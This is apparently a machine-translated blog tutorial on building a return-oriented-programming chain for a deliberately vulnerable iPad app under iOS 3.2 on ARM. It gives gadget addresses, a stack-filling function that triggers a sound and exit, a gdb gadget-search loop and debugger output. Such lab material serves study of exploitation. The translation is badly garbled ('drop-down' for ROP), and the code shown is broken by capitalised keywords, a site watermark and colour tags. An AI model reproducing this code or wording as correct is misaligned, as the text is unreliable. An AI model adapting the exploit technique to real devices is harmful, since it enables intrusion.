Prepared by: txstc
Recently, I have read some articles about ROP (Return-Oriented-Program. This method is mainly used to break through the shellcode Writing Method of NX and has long been known as return-to-lib. In the past two years, the research on ROP seems to be prefixed to non-x86 non-windows systems (such as routers, or other * nix systems under ARM ). Just recently I had an IPAD, and I was planning to write a simple drop-down program on it. After searching for the code package for jailbreakme2.0 for a long time on the Internet, no POC is found for reference. I have never touched Mac before, and I really don't know how to analyze this code package (see Readme introduction. It seems that after make, a pdf file that uses the pdf parsing vulnerability will be generated, but jailbreakme is not a simple POC. It needs to download and install cydia, which is not ideal as an analysis source, so the Code has not been carefully downloaded yet ).
Finally, let's take a simple example based on the knowledge you are familiar. The first step is to create an operating environment. In addition to IPAD and computer, a wireless route is required. The IPAD has just crossed the prison (IOS 3.2, although it is now 4.2, but since the software can run, why upgrade? If it is upgraded, there may be more memory protection measures ). Since there is no 0-day safari at hand, jailbreakme does not understand the analysis, it can only write a vulnerability program for use. In windows, vul. c contains the following statements.
Code:
...
Strcpy (buf, payload );
...
However, creating a similar program under the IPAD has to go through. To write an IPAD program, you need the MacOSX operating system and the Xcode development environment. The installation of these two items on the PC is definitely a physical activity. In the past few days, I have installed various versions of Mac OSX (10.6.X) in the Vmware7 Virtual Machine of win7, but I do not know how many times it has been installed. Until the installation is successful, I forgot which forum version I installed (the image file of the CD is iAntares_v3.iso, which corresponds to MaxOSX 10.6.5, and Xcode is 3.2.4, although only IOS3.2 and IOS4.0 are supported, it is sufficient ). The entire process is basically installed according to various tutorials. If you plan to build such an environment, pay special attention to the following points:
1. Various versions of the tutorials, together with their combinations, must be attempted. Which of the tutorials for downloading MacOSX on a PC is not 100% successful (highly relevant to hardware ).
2. We recommend that you use a virtual machine. Otherwise, you will not be able to handle the problem. Vmware7 is a good choice because it supports dmg image files and does not need to convert dmg to iso using UltraISO (usually in dmg format for Xcode installation images ).
3. Before installation, make sure to adjust the driver options of the mouse and keyboard. After installation, you may not be able to start properly (after startup, it is frozen at a gray apple or a black screen). You can replace the boot disc image with darwin300.iso.
After the installation is complete, you can use Xcode to start code writing. (You also need to break through the Xcode code signing process. Otherwise, you need a $99/year certificate, therefore, you also need to refer to the tutorial to configure Xcode and the operating system environment ). "Using XCode 3.2.5 To develop and debug a jailbroken iPhone without a certificate" is of great reference in this article. You need to change the version number when referring to this article. As for the helloword of IPAD, we can find it better. Since then, the development environment has been set up, and connections can be compiled and transferred to the IPAD in Xcode.
The event processing function when you touch press is as follows:
Code:
-(IBAction) btnClicked :( id) sender {
Foo ();
UIAlertView * alert = [[UIAlertView alloc] initWithTitle: @ "Hello World! "
Message: @ "sound"
Www.2cto.com delegate: self
CancelButtonTitle: @ "OK"
OtherButtonTitles: nil];
[Alert show];
[Alert release];
}
The foo function is the function that triggers the vulnerability. Its code is simple.
Code:
[COLOR = # aa0d91] void foo (){
Char buf [4];
Fulfill (buf );
Using the fulfill function to fill the buffer can achieve the most basic return point coverage. Note the following differences between IOS and x86 MacOSX in arm:
1. NX/XN bit
X86 MacOSX uses NX bits (Intel's XD bits), and arm's IOS uses XN (execute never) bits. For MacOSX, only this bit is set for the stack, and the heap is still executable (RWX ). In IOS, XN is used for all pages, and no page can have the RWX attribute (IOS is a single-task desktop system without JAVA or FLASH, so we can do this ).
2. ASLR
MacOSX performs address randomization on the loaded library files (except dyld), and neither the stack nor the executable image is random. The IOS library files are not randomized. That is to say, the firmware, stack, executable image, and library address of a specific model are predictable.
3. CodeSign
On IOS without jailbreak, binary files and libraries are signed. Before executing the execve function, the loadCodeSignature function in dyld is executed first, which is different from MacOSX. However, since my IPAD is almost out of jail and does not involve execve operations, I don't care about this part.
For more details, see "Fun and Games with Mac OS X and IPhone Payloads ". The author broke Charlie Miller of Safari and IE8 on Pwn2Own.
It is obviously impossible to directly inject code, and it is time to reach out to the drop-down list. The basic idea of drop operation is easier to explain in x86: When the stack is controlled by overwriting the return value or other methods, the eip is directed to a command sequence similar to the following: XXX; in this way, ret executes a XXX (maybe simply changing the value of a register) operation and then ret. Ret will take the address of the next instruction from the stack, and then jump to the past. Similarly, the instruction we selected this time is still in the XXX; ret format, and the instruction used each time ends with ret, the stack is used to control the instruction execution process. This is the drop-down.
Now we are dealing with the ARM commands of the RISC, which is slightly different. ARM System, contains r0-r13, sp, lr, pc and other registers, no ret instructions, but the instruction pointer PC is we can operate directly, each Command is four bytes (the thumb command is two bytes, and the four bytes in thumb-2 are mixed with the two-byte commands ). The parameter passing rule of the function is that the first four parameters are passed using the r0-r3, and more parameters are used in the stack. Generally, the function returns pop {r7, pc} Or bx lr (bx and B are similar to jmp for jump instructions, but bx can specify whether the jump area is thumb or arm ).
Our goal is to perform the following operations after Overflow
Code:
AudioServicesPlaySystemSound (0x3ea );
Code:
_ Exit;
That is to say, let the program overflow, send a prompt, and then exit. Next, we need to search for the desired instruction address in our program space, fill in the stack, and form a drop operation. This part of the method I used is very inefficient (I have not found any good tool, and I used only the stepping stone command that msf searched previously ). For example, I need to assign a value of r0 to 0x3ea as the function parameter and use the command sequence in _ dyld_stub_binder:
Code:
Mov r12, r0
Code:
Pop {r0, r1, r2, r3, r7, lr}; assign a value to r0 from the stack
Add sp, sp, #8
Bx r12
To search for this command, I copied the dyld library from the IPAD to the host (using winscp, you need to install openssh on the IPAD) and analyzed it using IDA disassembly. However, IDA does not seem to have a function similar to OD that uses real-time Assembly commands as machine code. Therefore, you can only query the ARM manual and convert the required assembly code into machine code bytes (so that you can search ). I wrote the required assembly code inline assembly to the first_ipad_view Program (that is, the program that has just been compiled with a vulnerability), and then installed it on the IPAD using gdb (using cydia, update to the latest version 6.3.50. Then, use putty to connect to the IPAD through ssh, which is the intention of the wireless router. I wanted to use the debugger in Xcode to tune the Program, but I always prompted Program not being run. In addition, gdbserver + IDA or IPhone_server + IDA has never been connected successfully, therefore, only ssh + gdb debugging is supported. Remember to use cydia to install cmd and various related command packages, such as ps commands) to check the machine code of those codes (very troublesome and stupid ~ I can't help it either. Please tell me how to quickly obtain the ARM instruction machine code ~). After finding the machine code sequence, search by Alt + B in IDA, locate the location, and view the address of the change command in gdb. For example, the address of the preceding command is 0x30cc05d0.
You can only search for commands in the dyld database through IDA analysis. You can also search for commands in other executable Images Using gdb. The following gdb code can search for the ARM command with the machine code 0x800fe8bd in the address 0x30247bc8 to 0x30247e14.
Code:
Set $ count = 0x30247bc8
Code:
While ($ count <0x30247e14)
If (* (unsigned int *) ($ count) = 0x800fe8bd)
X/x ($ count)
End
Set $ count = $ count + 4
End
After a long time, I finally found the desired instruction address. Skip the complicated debugging and command search process of the center boom and jump directly to the conclusion section. The fulfill function used to fill the buffer is as follows:
Code:
Void fulfill (char * buf ){
Unsigned int shellcode [32];
Shellcode [0] = 0x11112222;
Shellcode [1] = 0x33334444; // r7
Shellcode [2] = 0x30c1a858; // pc pop {r4, r5, r8, r9, pc} is located in OSAtomicAdd64Barrier
Shellcode [3] = 0x00002cc5; // r4
Shellcode [4] = 0x00122690; // r5
Shellcode [5] = 0x30794b8d; // r8-> r0-> r12-> AudioServicesPlaySystemSound
Shellcode [6] = 0x22443322; // r9
Shellcode [7] = 0x30c1a850; // pc mov r0, r8; mov r1, r9; pop {r4, r5, r8, r9, pc}
Shellcode [8] = 0x000003ea; // r4
Shellcode [9] = 0x00122690; // r5
Shellcode [10] = 0x00002cc5; // r8
Shellcode [11] = 0x34474dd7; // r9
Shellcode [12] = 0x30cc05d0; // pc mov r12, r0; pop {r0, r1, r2, r3, r7, lr}; add sp, sp, #8; bx r12
Shellcode [13] = 0x000003ea; // r0
Shellcode [14] = 0x00002cc5; // r1
Shellcode [15] = 0x0013a8d0; // r2
Shellcode [16] = 0x0013a8d0; // r3
Shellcode [17] = 0x2fffeb88; // r7
Shellcode [18] = 0x30c3d170; // lr _ exit
Memcpy (buf, shellcode, 32*4 );
}
Before reading these commands, explain why memcpy is not directly used in foo to overwrite buf. Because memcpy and strcpy used by Xcode are both compiled into memcpy_chk $ stub and strcpy_chk $ stub, that is, the function version that contains the boundary check. This will not happen when overflow occurs (the boundary check will terminate the operation if the boundary check is out of bounds ). The memcpy in the fulfill function cannot see the buf size in the foo function. If you cannot check the buf size, the _ dyld_memcpy and _ dyld_strcpy Original versions will be used. Therefore, the vulnerability can be exploited. This process is similar to the experiment in Miller's article, but he directly covered it in foo at the time. It is estimated that the memory protection mechanism is not available in his Xcode version. Next, let's explain the working process of ROP. Use putty to connect to the IPAD ssh:
Root # ps aux
User pid % CPU % MEM VSZ RSS TT STAT STARTED TIME COMMAND
Mobile 817 0.0 3.8 349472 9492 ?? Ss PM. 27/var/mobile/Applications/5E16589D-24B9-413D-B3F3-608F02FA5F7E/first_ipad_view.app/first_ipad_view
Root # gdb
GNU gdb 6.3.50.20050815-cvs (Sat Sep 19 05:37:57 UTC 2009)
Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
Welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "-- host = arm-apple-darwin9 -- target = ".
(Gdb) attach 817.
Attaching to process 817.
Reading symbols for shared libraries. done
Reading symbols for shared libraries warning: cocould not find object file
........................................ ..................... Done
0x30c16668 in mach_msg_trap ()
(Gdb) disassemble foo
0x00002864 <foo + 0>: push {r7, lr}
0x00002866 <foo + 2>: add r7, sp, #0
0x00002868 <foo + 4>: sub sp, #4
0x0000286a <foo + 6>: mov r3, sp
0x0000286c <foo + 8>: mov r0, r3
0x0000286e <foo + 10>: bl 0x277c <fulfill>
0x00002872 <foo + 14>: sub. w sp, r7, #0; 0x0
0x00002876 <foo + 18>: pop {r7, pc}
Run <foo + 18> to view the stack.
(Gdb) x/20x $ sp
0x2fffeb60: 0x33334444 0x30c1a858 0x00002cc5 0x00122690
0x2fffeb70: 0x30794b8d 0x22443322 0x30c1a850 0x000003ea
0x2fffeb80: 0x00122690 0x00002cc5 0x34474dd7 0x30cc05d0
0x2fffeb90: 0x000003ea 0x00002cc5 0x0013a8d0 0x0013a8d0
0x2fffeba0: 0x2fffeb88 0x30c3d170 0x0000345c 0x3852c7ec
Shellcode [0] is used to overwrite the buf. shellcode [1] overwrites the r7 (similar to ebp) in the stack ). 0x2876 is where foo returns. Note: shellcode [5] = 0x30794b8d. The data will overwrite r8, assign it to r0, pass it to r12, and then transfer it to AudioServicesPlaySystemSound through bx r12, the actual address of this function is 0x30794b8c, but entering this address directly generates a SIGSYS signal (illegal command execution ). The reason is that the function is a thumb command. Therefore, you must set the priority bit of the command address to 1 during the jump (bx uses this value to differentiate the instruction set), so the function address is added with one. Check that the starting byte of the AudioServicesPlaySystemSound function is
(Gdb) disassemble AudioServicesPlaySystemSound
Dump of assembler code for function AudioServicesPlaySystemSound:
0x30794b8c <AudioServicesPlaySystemSound + 0>: push {r4, r7, lr}
It can be determined that the returned result is redirected to lr, so the _ exit address must be saved to lr through pop. After the Audio function is executed, it will be transferred to _ exit. Since then, a simple Stack Overflow drop of iPhone OS with no character restrictions has been completed. Complex operations (network communication and file transfer) require more command sequences. ROP itself is not difficult to understand, but in order to achieve this process, it is also a headache to obtain the environment and tools ~ At best, I hope someone will send a jailbreakme analysis someday ~
Uploaded Image